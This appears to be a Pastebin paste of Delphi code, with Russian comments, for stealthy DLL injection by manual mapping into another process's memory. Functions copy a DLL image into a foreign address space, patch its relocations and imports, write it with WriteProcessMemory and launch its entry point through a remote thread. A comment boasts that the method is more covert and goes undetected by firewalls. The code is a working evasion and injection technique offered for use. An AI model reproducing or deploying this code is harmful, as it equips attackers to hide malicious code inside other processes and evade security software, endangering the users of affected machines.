Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Следующий код копирует и настраивает DLL в выделенный участок чужого адресного пространства:
- {
- Отображение Dll на чужое адресное пространство, настройка импорта и релоков.
- Process - хэндл процесса для отображения,
- Dest - адрес отображения в процессе Process,
- Src - адрес образа Dll в текущем процессе.
- }
- function MapLibrary(Process: dword; Dest, Src: pointer): TLibInfo;
- var
- ImageBase: pointer;
- ImageBaseDelta: integer;
- ImageNtHeaders: PImageNtHeaders;
- PSections: ^TSections;
- SectionLoop: integer;
- SectionBase: pointer;
- VirtualSectionSize, RawSectionSize: dword;
- OldProtect: dword;
- NewLibInfo: TLibInfo;
- { Настройка релоков }
- procedure ProcessRelocs(PRelocs:PImageBaseRelocation);
- var
- PReloc: PImageBaseRelocation;
- RelocsSize: dword;
- Reloc: PWord;
- ModCount: dword;
- RelocLoop: dword;
- begin
- PReloc := PRelocs;
- RelocsSize := ImageNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
- while dword(PReloc) - dword(PRelocs) < RelocsSize do
- begin
- ModCount := (PReloc.SizeOfBlock - Sizeof(PReloc^)) div 2;
- Reloc := pointer(dword(PReloc) + sizeof(PReloc^));
- for RelocLoop := 0 to ModCount - 1 do
- begin
- if Reloc^ and $f000 <> 0 then Inc(pdword(dword(ImageBase) +
- PReloc.VirtualAddress +
- (Reloc^ and $0fff))^, ImageBaseDelta);
- Inc(Reloc);
- end;
- PReloc := pointer(Reloc);
- end;
- end;
- { Настройка импорта Dll в чужом процессе}
- procedure ProcessImports(PImports: PImageImportDescriptor);
- var
- PImport: PImageImportDescriptor;
- Import: pdword;
- PImportedName: pchar;
- ProcAddress: pointer;
- PLibName: pchar;
- ImportLoop: integer;
- function IsImportByOrdinal(ImportDescriptor: dword): boolean;
- begin
- Result := (ImportDescriptor and IMAGE_ORDINAL_FLAG32) <> 0;
- end;
- begin
- PImport := PImports;
- while PImport.Name <> 0 do
- begin
- PLibName := pchar(dword(PImport.Name) + dword(ImageBase));
- if not Find(NewLibInfo.LibsUsed, PLibName, ImportLoop) then
- begin
- InjectDll(Process, PLibName);
- Add(NewLibInfo.LibsUsed, PLibName);
- end;
- if PImport.TimeDateStamp = 0 then
- Import := pdword(pImport.FirstThunk + dword(ImageBase))
- else
- Import := pdword(pImport.OriginalFirstThunk + dword(ImageBase));
- while Import^ <> 0 do
- begin
- if IsImportByOrdinal(Import^) then
- ProcAddress := GetProcAddressEx(Process, PLibName, PChar(Import^ and $ffff), 4)
- else
- begin
- PImportedName := pchar(Import^ + dword(ImageBase) + IMPORTED_NAME_OFFSET);
- ProcAddress := GetProcAddressEx(Process, PLibName, PImportedName, Length(PImportedName));
- end;
- Ppointer(Import)^ := ProcAddress;
- Inc(Import);
- end;
- Inc(PImport);
- end;
- end;
- begin
- ImageNtHeaders := pointer(dword(Src) + dword(PImageDosHeader(Src)._lfanew));
- ImageBase := VirtualAlloc(Dest, ImageNtHeaders.OptionalHeader.SizeOfImage,
- MEM_RESERVE, PAGE_NOACCESS);
- ImageBaseDelta := dword(ImageBase) - ImageNtHeaders.OptionalHeader.ImageBase;
- SectionBase := VirtualAlloc(ImageBase, ImageNtHeaders.OptionalHeader.SizeOfHeaders,
- MEM_COMMIT, PAGE_READWRITE);
- Move(Src^, SectionBase^, ImageNtHeaders.OptionalHeader.SizeOfHeaders);
- VirtualProtect(SectionBase, ImageNtHeaders.OptionalHeader.SizeOfHeaders,
- PAGE_READONLY, OldProtect);
- PSections := pointer(pchar(@(ImageNtHeaders.OptionalHeader)) +
- ImageNtHeaders.FileHeader.SizeOfOptionalHeader);
- for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
- begin
- VirtualSectionSize := PSections[SectionLoop].Misc.VirtualSize;
- RawSectionSize := PSections[SectionLoop].SizeOfRawData;
- if VirtualSectionSize < RawSectionSize then
- begin
- VirtualSectionSize := VirtualSectionSize xor RawSectionSize;
- RawSectionSize := VirtualSectionSize xor RawSectionSize;
- VirtualSectionSize := VirtualSectionSize xor RawSectionSize;
- end;
- SectionBase := VirtualAlloc(PSections[SectionLoop].VirtualAddress +
- pchar(ImageBase), VirtualSectionSize,
- MEM_COMMIT, PAGE_READWRITE);
- FillChar(SectionBase^, VirtualSectionSize, 0);
- Move((pchar(src) + PSections[SectionLoop].pointerToRawData)^,
- SectionBase^, RawSectionSize);
- end;
- NewLibInfo.DllProcAddress := pointer(ImageNtHeaders.OptionalHeader.AddressOfEntryPoint +
- dword(ImageBase));
- NewLibInfo.DllProc := TDllEntryProc(NewLibInfo.DllProcAddress);
- NewLibInfo.ImageBase := ImageBase;
- NewLibInfo.ImageSize := ImageNtHeaders.OptionalHeader.SizeOfImage;
- SetLength(NewLibInfo.LibsUsed, 0);
- if ImageNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress <> 0
- then ProcessRelocs(pointer(ImageNtHeaders.OptionalHeader.
- DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].
- VirtualAddress + dword(ImageBase)));
- if ImageNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress <> 0
- then ProcessImports(pointer(ImageNtHeaders.OptionalHeader.
- DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].
- VirtualAddress + dword(ImageBase)));
- for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
- VirtualProtect(PSections[SectionLoop].VirtualAddress + pchar(ImageBase),
- PSections[SectionLoop].Misc.VirtualSize,
- GetSectionProtection(PSections[SectionLoop].Characteristics),
- OldProtect);
- Result := NewLibInfo;
- end;
- Теперь для внедрения DLL в целевой процесс этим способом можно использовать следующую функцию:
- {
- Внедрение Dll в процесс методом инжекции кода и настройки образа Dll в памяти.
- Данный метод внедрения более скрытен, и не обнаруживается фаерволлами.
- }
- function InjectDllEx(Process: dword; Src: pointer): boolean;
- type
- TDllLoadInfo = packed record
- Module: pointer;
- EntryPoint: pointer;
- end;
- var
- Lib: TLibInfo;
- BytesWritten: dword;
- ImageNtHeaders: PImageNtHeaders;
- pModule: pointer;
- Offset: dword;
- DllLoadInfo: TDllLoadInfo;
- hThread: dword;
- { процедура передачи управления на точку входа dll }
- procedure DllEntryPoint(lpParameter: pointer); stdcall;
- var
- LoadInfo: TDllLoadInfo;
- begin
- LoadInfo := TDllLoadInfo(lpParameter^);
- asm
- xor eax, eax
- push eax
- push DLL_PROCESS_ATTACH
- push LoadInfo.Module
- call LoadInfo.EntryPoint
- end;
- end;
- begin
- Result := False;
- ImageNtHeaders := pointer(dword(Src) + dword(PImageDosHeader(Src)._lfanew));
- Offset := $10000000;
- repeat
- Inc(Offset, $10000);
- pModule := VirtualAlloc(pointer(ImageNtHeaders.OptionalHeader.ImageBase + Offset),
- ImageNtHeaders.OptionalHeader.SizeOfImage,
- MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
- if pModule <> nil then
- begin
- VirtualFree(pModule, 0, MEM_RELEASE);
- pModule := VirtualAllocEx(Process, pointer(ImageNtHeaders.OptionalHeader.
- ImageBase + Offset),
- ImageNtHeaders.OptionalHeader.
- SizeOfImage,
- MEM_COMMIT or MEM_RESERVE,
- PAGE_EXECUTE_READWRITE);
- end;
- until ((pModule <> nil) or (Offset > $30000000));
- Lib := MapLibrary(Process, pModule, Src);
- if Lib.ImageBase = nil then Exit;
- DllLoadInfo.Module := Lib.ImageBase;
- DllLoadInfo.EntryPoint := Lib.DllProcAddress;
- WriteProcessMemory(Process, pModule, Lib.ImageBase, Lib.ImageSize, BytesWritten);
- hThread := InjectThread(Process, @DllEntryPoint, @DllLoadInfo,
- SizeOf(TDllLoadInfo), False);
- if hThread <> 0 then Result := True
- end;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement